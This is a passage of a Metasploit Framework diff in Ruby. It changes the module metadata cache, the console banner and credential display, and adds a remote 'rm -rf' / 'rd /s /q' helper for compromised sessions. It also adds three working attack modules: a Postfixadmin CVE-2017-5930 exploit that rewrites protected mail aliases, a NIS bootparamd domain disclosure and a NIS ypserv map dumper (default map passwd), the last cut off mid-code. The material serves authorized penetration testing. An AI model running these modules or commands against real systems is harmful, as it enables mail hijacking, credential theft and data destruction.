match = [t,w] if terms.any? { |x| x =~ r }
|
||||
when 'name'
|
||||
match = [t,w] if module_metadata.name =~ r
|
||||
when 'path'
|
||||
match = [t,w] if module_metadata.full_name =~ r
|
||||
when 'author'
|
||||
match = [t,w] if module_metadata.author.any? { |a| a =~ r }
|
||||
when 'os', 'platform'
|
||||
match = [t,w] if module_metadata.platform =~ r or module_metadata.arch =~ r
|
||||
|
||||
if module_metadata.targets
|
||||
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
|
||||
end
|
||||
when 'port'
|
||||
match = [t,w] if module_metadata.rport =~ r
|
||||
when 'type'
|
||||
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
|
||||
when 'app'
|
||||
match = [t,w] if (w == "server" and module_metadata.is_server)
|
||||
match = [t,w] if (w == "client" and module_metadata.is_client)
|
||||
when 'cve'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^cve\-/i and ref =~ r }
|
||||
when 'bid'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^bid\-/i and ref =~ r }
|
||||
when 'edb'
|
||||
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^edb\-/i and ref =~ r }
|
||||
end
|
||||
break if match
|
||||
end
|
||||
# Filter this module if no matches for a given keyword type
|
||||
if mode == 0 and not match
|
||||
return false
|
||||
end
|
||||
end
|
||||
# Filter this module if we matched an exclusion keyword (-value)
|
||||
if mode == 1 and match
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,112 @@
|
|||
require 'pstore'
|
||||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
|
||||
# better first time user experience as generating the user based metadata file requires 100+ mb at the time of creating
|
||||
# this module. Subsequent starts of metasploit will load from a user specific metadata file as users potentially load modules
|
||||
# from other places.
|
||||
#
|
||||
module Msf::Modules::Metadata::Store
|
||||
|
||||
BaseMetaDataFile = 'modules_metadata_base.pstore'
|
||||
UserMetaDataFile = 'modules_metadata.pstore'
|
||||
|
||||
#
|
||||
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
|
||||
#
|
||||
def init_store
|
||||
load_metadata
|
||||
end
|
||||
|
||||
#
|
||||
# Update the module meta cache disk store
|
||||
#
|
||||
def update_store
|
||||
begin
|
||||
@store.transaction do
|
||||
@store[:module_metadata] = @module_metadata_cache
|
||||
end
|
||||
rescue Excepion => e
|
||||
elog("Unable to update metadata store: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def load_metadata
|
||||
begin
|
||||
retries ||= 0
|
||||
copied = configure_user_store
|
||||
@store = PStore.new(@path_to_user_metadata, true)
|
||||
@module_metadata_cache = @store.transaction(true) { @store[:module_metadata]}
|
||||
validate_data(copied) if (!@module_metadata_cache.nil? && @module_metadata_cache.size > 0)
|
||||
@module_metadata_cache = {} if @module_metadata_cache.nil?
|
||||
rescue Exception => e
|
||||
retries +=1
|
||||
|
||||
# Try to handle the scenario where the file is corrupted
|
||||
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
|
||||
elog('Possible corrupt user metadata store, attempting restore')
|
||||
FileUtils.remove(@path_to_user_metadata)
|
||||
retry
|
||||
else
|
||||
@console.print_warning('Unable to load module metadata from disk see error log')
|
||||
elog("Unable to load module metadata: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def validate_data(copied)
|
||||
size_prior = @module_metadata_cache.size
|
||||
@module_metadata_cache.delete_if {|key, module_metadata| !::File.exist?(module_metadata.path)}
|
||||
|
||||
if (copied)
|
||||
@module_metadata_cache.each_value {|module_metadata|
|
||||
module_metadata.update_mod_time(::File.mtime(module_metadata.path))
|
||||
}
|
||||
end
|
||||
|
||||
update_store if (size_prior != @module_metadata_cache.size || copied)
|
||||
end
|
||||
|
||||
def configure_user_store
|
||||
copied = false
|
||||
@path_to_user_metadata = get_user_store
|
||||
path_to_base_metadata = ::File.join(Msf::Config.install_root, "db", BaseMetaDataFile)
|
||||
user_file_exists = ::File.exist?(@path_to_user_metadata)
|
||||
base_file_exists = ::File.exist?(path_to_base_metadata)
|
||||
|
||||
if (!base_file_exists)
|
||||
wlog("Missing base module metadata file: #{path_to_base_metadata}")
|
||||
return copied if !user_file_exists
|
||||
end
|
||||
|
||||
if (!user_file_exists)
|
||||
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
|
||||
copied = true
|
||||
|
||||
dlog('Created user based module store')
|
||||
|
||||
# Update the user based module store if an updated base file is created/pushed
|
||||
elsif (::File.mtime(path_to_base_metadata).to_i > ::File.mtime(@path_to_user_metadata).to_i)
|
||||
FileUtils.remove(@path_to_user_metadata)
|
||||
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
|
||||
copied = true
|
||||
dlog('Updated user based module store')
|
||||
end
|
||||
|
||||
return copied
|
||||
end
|
||||
|
||||
def get_user_store
|
||||
store_dir = ::File.join(Msf::Config.config_directory, "store")
|
||||
FileUtils.mkdir(store_dir) if !::File.exist?(store_dir)
|
||||
return ::File.join(store_dir, UserMetaDataFile)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -132,9 +132,9 @@ module Payload::Python::MeterpreterLoader
|
|||
unless opts[:stageless_tcp_socket_setup].nil?
|
||||
socket_setup = opts[:stageless_tcp_socket_setup]
|
||||
socket_setup = socket_setup.split("\n")
|
||||
socket_setup.map! {|line| "\t\t#{line}\n"}
|
||||
socket_setup.map! {|line| " #{line}\n"}
|
||||
socket_setup = socket_setup.join
|
||||
met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
|
||||
met.sub!(" # PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
|
||||
end
|
||||
|
||||
met
|
||||
|
|
|
@ -348,7 +348,28 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Delete remote directories
|
||||
#
|
||||
# @param remote_dirs [Array<String>] List of remote directories to
|
||||
# delete
|
||||
# @return [void]
|
||||
def rm_rf(*remote_dirs)
|
||||
remote_dirs.each do |remote|
|
||||
if session.type == "meterpreter"
|
||||
session.fs.dir.rmdir(remote) if exist?(remote)
|
||||
else
|
||||
if session.platform == 'windows'
|
||||
cmd_exec("rd /s /q \"#{remote}\"")
|
||||
else
|
||||
cmd_exec("rm -rf \"#{remote}\"")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
alias :file_rm :rm_f
|
||||
alias :dir_rm :rm_rf
|
||||
|
||||
#
|
||||
# Rename a remote file.
|
||||
|
|
|
@ -233,22 +233,17 @@ class Core
|
|||
|
||||
avdwarn = nil
|
||||
|
||||
banner_trailers = {
|
||||
:version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
|
||||
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
|
||||
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
|
||||
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
|
||||
:padding => 48
|
||||
}
|
||||
stats = framework.stats
|
||||
version = "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
|
||||
exp_aux_pos = "#{stats.num_exploits} exploits - #{stats.num_auxiliary} auxiliary - #{stats.num_post} post",
|
||||
pay_enc_nop = "#{stats.num_payloads} payloads - #{stats.num_encoders} encoders - #{stats.num_nops} nops",
|
||||
dev_note = "** This is Metasploit 5 development branch **"
|
||||
padding = 48
|
||||
|
||||
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
|
||||
|
||||
# TODO: People who are already on a Pro install shouldn't see this.
|
||||
# It's hard for Framework to tell the difference though since
|
||||
# license details are only in Pro -- we can't see them from here.
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
|
||||
banner << (" =[ %-#{padding+8}s]\n" % version)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % exp_aux_pos)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % pay_enc_nop)
|
||||
banner << ("+ -- --=[ %-#{padding}s]\n" % dev_note)
|
||||
|
||||
if ::Msf::Framework::EICARCorrupted
|
||||
avdwarn = []
|
||||
|
|
|
@ -424,16 +424,7 @@ class Creds
|
|||
public_val = core.public ? core.public.username : ""
|
||||
private_val = core.private ? core.private.data : ""
|
||||
realm_val = core.realm ? core.realm.value : ""
|
||||
human_val = ""
|
||||
# TODO: We shouldn't have separate code paths depending on the model we're working with
|
||||
# This should always expect an OpenStruct.
|
||||
if core.private
|
||||
if core.private.is_a?(OpenStruct)
|
||||
human_val = core.human
|
||||
else
|
||||
human_val = core.private.class.model_name.human
|
||||
end
|
||||
end
|
||||
human_val = core.private ? core.private.class.model_name.human : ""
|
||||
|
||||
tbl << [
|
||||
"", # host
|
||||
|
@ -442,7 +433,7 @@ class Creds
|
|||
public_val,
|
||||
private_val,
|
||||
realm_val,
|
||||
human_val,
|
||||
human_val
|
||||
]
|
||||
else
|
||||
core.logins.each do |login|
|
||||
|
@ -466,22 +457,13 @@ class Creds
|
|||
public_val = core.public ? core.public.username : ""
|
||||
private_val = core.private ? core.private.data : ""
|
||||
realm_val = core.realm ? core.realm.value : ""
|
||||
human_val = ""
|
||||
# TODO: We shouldn't have separate code paths depending on the model we're working with
|
||||
# This should always expect an OpenStruct.
|
||||
if core.private
|
||||
if core.private.is_a?(OpenStruct)
|
||||
human_val = core.human
|
||||
else
|
||||
human_val = core.private.class.model_name.human
|
||||
end
|
||||
end
|
||||
human_val = core.private ? core.private.class.model_name.human : ""
|
||||
|
||||
row += [
|
||||
public_val,
|
||||
private_val,
|
||||
realm_val,
|
||||
human_val,
|
||||
human_val
|
||||
]
|
||||
tbl << row
|
||||
end
|
||||
|
|
|
@ -680,7 +680,7 @@ module Msf
|
|||
|
||||
if mode == [:delete]
|
||||
result = framework.db.delete_host(workspace: framework.db.workspace, addresses: host_search)
|
||||
delete_count += result[:deleted].size
|
||||
delete_count += result.size
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -418,12 +418,12 @@ module Msf
|
|||
|
||||
# Display the table of matches
|
||||
tbl = generate_module_table("Matching Modules", search_term)
|
||||
framework.search(match, logger: self).each do |m|
|
||||
Msf::Modules::Metadata::Cache.instance.find(match).each do |m|
|
||||
tbl << [
|
||||
m.fullname,
|
||||
m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"),
|
||||
RankingName[m.rank].to_s,
|
||||
m.name
|
||||
m.full_name,
|
||||
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
|
||||
RankingName[m.rank].to_s,
|
||||
m.name
|
||||
]
|
||||
end
|
||||
print_line(tbl.to_s)
|
||||
|
|
|
@ -23,7 +23,7 @@ class Driver < Msf::Ui::Driver
|
|||
ConfigCore = "framework/core"
|
||||
ConfigGroup = "framework/ui/console"
|
||||
|
||||
DefaultPrompt = "%undmsf%clr"
|
||||
DefaultPrompt = "%undmsf5%clr"
|
||||
DefaultPromptChar = "%clr>"
|
||||
|
||||
#
|
||||
|
|
|
@ -78,7 +78,7 @@ module Msf
|
|||
File.open(path, 'rb') { |f| template = f.read }
|
||||
return template
|
||||
}.call
|
||||
md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/</, '<'))
|
||||
md_to_html(ERB.new(@md_template).result(binding()), kb)
|
||||
end
|
||||
|
||||
|
||||
|
@ -104,14 +104,18 @@ module Msf
|
|||
# @param kb [String] Additional information to add.
|
||||
# @return [String] HTML document.
|
||||
def md_to_html(md, kb)
|
||||
opts = {
|
||||
extensions = {
|
||||
escape_html: true
|
||||
}
|
||||
|
||||
render_options = {
|
||||
fenced_code_blocks: true,
|
||||
no_intra_emphasis: true,
|
||||
escape_html: true,
|
||||
tables: true
|
||||
}
|
||||
|
||||
r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, opts)
|
||||
html_renderer = Redcarpet::Render::MsfMdHTML.new(extensions)
|
||||
r = Redcarpet::Markdown.new(html_renderer, render_options)
|
||||
ERB.new(@html_template ||= lambda {
|
||||
html_template = ''
|
||||
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', HTML_TEMPLATE))
|
||||
|
|
|
@ -215,11 +215,30 @@ class Client
|
|||
|
||||
def negotiate_ard_auth(username = nil, password = nil)
|
||||
generator = @sock.get_once(2)
|
||||
if not generator or generator.length != 2
|
||||
@error = "Unable to obtain ARD challenge: invalid generator value"
|
||||
return false
|
||||
end
|
||||
generator = generator.unpack("n").first
|
||||
|
||||
key_length = @sock.get_once(2)
|
||||
if not key_length or key_length.length != 2
|
||||
@error = "Unable to obtain ARD challenge: invalid key length"
|
||||
return false
|
||||
end
|
||||
key_length = key_length.unpack("n").first
|
||||
|
||||
prime_modulus = @sock.get_once(key_length)
|
||||
if not prime_modulus or prime_modulus.length != key_length
|
||||
@error = "Unable to obtain ARD challenge: invalid prime modulus"
|
||||
return false
|
||||
end
|
||||
|
||||
peer_public_key = @sock.get_once(key_length)
|
||||
if not peer_public_key or peer_public_key.length != key_length
|
||||
@error = "Unable to obtain ARD challenge: invalid public key"
|
||||
return false
|
||||
end
|
||||
|
||||
response = Cipher.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
|
||||
@sock.put(response)
|
||||
|
|
|
@ -179,7 +179,8 @@ class Client
|
|||
buf = nil
|
||||
begin
|
||||
Timeout.timeout(maxwait) { buf = sock.get }
|
||||
rescue ::Timeout
|
||||
rescue Timeout::Error
|
||||
raise RPCTimeout
|
||||
end
|
||||
|
||||
return nil if not buf
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.23'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.25'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
@ -187,4 +187,6 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'nexpose'
|
||||
# Needed for NDMP sockets
|
||||
spec.add_runtime_dependency 'xdr'
|
||||
# Needed for ::Msf...CertProvider
|
||||
spec.add_runtime_dependency 'faker'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,182 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
|
||||
'Description' => %q{
|
||||
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
|
||||
admin is allowed to delete protected aliases. This vulnerability can be
|
||||
used to redirect protected aliases to an other mail address. Eg. rewrite
|
||||
the postmaster@domain alias
|
||||
},
|
||||
'Author' => [ 'Jan-Frederik Rieckers' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-5930'],
|
||||
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
|
||||
['BID', '96142'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Postfixadmin v2.91 - v3.0.1', {}]],
|
||||
'DisclosureDate' => 'Feb 03 2017',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
|
||||
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
|
||||
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
|
||||
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
|
||||
])
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def target_alias
|
||||
datastore['TARGET_ALIAS']
|
||||
end
|
||||
|
||||
def new_goto
|
||||
datastore['NEW_GOTO']
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
|
||||
|
||||
return Exploit::CheckCode::Unknown unless res
|
||||
|
||||
return Exploit::CheckCode::Safe if res.code != 200
|
||||
|
||||
if res.body =~ /<div id="footer".*Postfix Admin/m
|
||||
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
|
||||
return Exploit::CheckCode::Detected unless version
|
||||
if Gem::Version.new("2.91") > Gem::Version.new(version[1])
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif Gem::Version.new("3.0.1") < Gem::Version.new(version[1])
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
|
||||
cookie = postfixadmin_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
|
||||
print_good('Authenticated with Postfixadmin')
|
||||
|
||||
vprint_status('Requesting virtual_list')
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
|
||||
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
|
||||
body = res.body
|
||||
vprint_status('Get token')
|
||||
token = body.match(/token=([0-9a-f]{32})/)
|
||||
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
|
||||
|
||||
t = token[1]
|
||||
|
||||
print_status('Delete the old alias')
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
if res.nil? || res.body.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
|
||||
else
|
||||
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
end
|
||||
end
|
||||
print_good('Deleted the old alias')
|
||||
|
||||
vprint_status('Will create the new alias')
|
||||
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
|
||||
|
||||
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
|
||||
|
||||
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
|
||||
if res.nil? || res.body.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
|
||||
else
|
||||
if res.body =~ /<ul class="flash-error">/mi
|
||||
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'An unexpected failure occured.')
|
||||
end
|
||||
end
|
||||
end
|
||||
print_good('New alias created')
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Performs a Postfixadmin login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param timeout [Integer] Max seconds to wait before timeout, defaults to 20
|
||||
#
|
||||
# @return [String, nil] The session cookie as single string if login was successful, nil otherwise
|
||||
def postfixadmin_login(user, pass, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => postfixadmin_url_login,
|
||||
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
|
||||
}, timeout)
|
||||
if res && res.redirect?
|
||||
cookies = res.get_cookies
|
||||
return cookies if
|
||||
cookies =~ /PHPSESSID=/
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def postfixadmin_url_login
|
||||
normalize_uri(target_uri.path, 'login.php')
|
||||
end
|
||||
|
||||
def postfixadmin_url_list(domain=nil)
|
||||
modifier = domain.nil? ? "" : "?domain=#{domain}"
|
||||
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
|
||||
end
|
||||
|
||||
def postfixadmin_url_alias_delete(target, token)
|
||||
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
|
||||
end
|
||||
|
||||
def postfixadmin_url_edit
|
||||
normalize_uri(target_uri.path, 'edit.php')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,148 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS bootparamd Domain Name Disclosure',
|
||||
'Description' => %q{
|
||||
This module discloses the NIS domain name from bootparamd.
|
||||
|
||||
You must know a client address from the target's bootparams file.
|
||||
|
||||
Hint: try hosts within the same network range as the target.
|
||||
},
|
||||
'Author' => [
|
||||
'SATAN', # boot.c
|
||||
'pentestmonkey', # Blog post
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506'],
|
||||
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
|
||||
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
client = datastore['CLIENT']
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: UDP (17)
|
||||
100026, # Program: BOOTPARAMS (100026)
|
||||
1 # Program Version: 1
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# Convert ASCII to network byte order to four unsigned chars :(
|
||||
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
|
||||
|
||||
bootparam_whoami = Rex::Encoder::XDR.encode(
|
||||
1, # Address Type: IPv4-ADDR (1)
|
||||
*client_addr # Client Address: [redacted]
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
1, # Procedure: WHOAMI (1)
|
||||
bootparam_whoami # Boot Parameters
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
|
||||
rescue Rex::Proto::SunRPC::RPCTimeout
|
||||
fail_with(Failure::NotVulnerable,
|
||||
'Could not disclose NIS domain name (try another CLIENT?)')
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'No response from server')
|
||||
end
|
||||
|
||||
bootparams = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_bootparams(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired,
|
||||
'XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
end
|
||||
|
||||
if bootparams.blank?
|
||||
fail_with(Failure::Unknown, 'Could not parse bootparams')
|
||||
end
|
||||
|
||||
bootparams.each do |host, domain|
|
||||
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
|
||||
|
||||
print_good(msg)
|
||||
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: proto,
|
||||
type: 'nis.bootparamd.domain',
|
||||
data: msg
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_bootparams(res)
|
||||
bootparams = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
String, # Client Host: [redacted]
|
||||
String, # Client Domain: [redacted]
|
||||
Integer, # Address Type: IPv4-ADDR (1)
|
||||
# One int per octet in an IPv4 address
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer, # Router Address: [redacted]
|
||||
Integer # Router Address: [redacted]
|
||||
)
|
||||
|
||||
break unless host && domain
|
||||
|
||||
bootparams[host] = domain
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
bootparams
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,165 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS ypserv Map Dumper',
|
||||
'Description' => %q{
|
||||
This module dumps the specified map from NIS ypserv.
|
||||
|
||||
The following examples are from ypcat -x:
|
||||
|
||||
Use "ethers" for map "ethers.byname"
|
||||
Use "aliases" for map "mail.aliases"
|
||||
Use "services" for map "services.byname"
|
||||
Use "protocols" for map "protocols.bynumber"
|
||||
Use "hosts" for map "hosts.byname"
|
||||
Use "networks" for map "networks.byaddr"
|
||||
Use "group" for map "group.byname"
|
||||
Use "passwd" for map "passwd.byname"
|
||||
|
||||
You may specify a map by one of the nicknames above.
|
||||
},
|
||||
'Author' => 'wvu',
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
|
||||
OptString.new('DOMAIN', [true, 'NIS domain']),
|
||||
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
domain = datastore['DOMAIN']
|
||||
map_name = nick_to_map(datastore['MAP'])
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: TCP (6)
|
||||
100004, # Program: YPSERV (100004)
|
||||
2 # Program Version: 2
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# XXX: domain and map_name are modified in place
|
||||
ypserv_all_call = Rex::Encoder::XDR.encode(
|
||||
